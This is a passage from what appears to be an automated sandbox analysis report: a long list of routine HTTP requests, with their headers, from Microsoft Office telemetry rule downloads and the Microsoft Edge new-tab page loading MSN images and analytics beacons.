MUID=3206BAE9F57467FF075BAFD1F4D566D3; _EDGE_S=F=1&SID=0266F318EBFD62F03EAEE620EA8A6387; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3206BAE9F57467FF075BAFD1F4D566D3&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=e5c9631748214970d0d1ec728c7f6950 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3206BAE9F57467FF075BAFD1F4D566D3; _EDGE_S=F=1&SID=0266F318EBFD62F03EAEE620EA8A6387; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msDML.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731660940825&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3206BAE9F57467FF075BAFD1F4D566D3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=152d6943e3bc06881d2d6b01731660942; XID=152d6943e3bc06881d2d6b01731660942
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3206BAE9F57467FF075BAFD1F4D566D3&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=6638dd68e97a4cd3fb016c69efb129a1 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3206BAE9F57467FF075BAFD1F4D566D3; _EDGE_S=F=1&SID=0266F318EBFD62F03EAEE620EA8A6387; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731660940824&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=2fd421e6d33b4b73a02a9b59698593f1&activityId=2fd421e6d33b4b73a02a9b59698593f1&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=9F5B3DC16E4247A0BCCA1C3511DFAD5B&MUID=3206BAE9F57467FF075BAFD1F4D566D3 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3206BAE9F57467FF075BAFD1F4D566D3; _EDGE_S=F=1&SID=0266F318EBFD62F03EAEE620EA8A6387; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
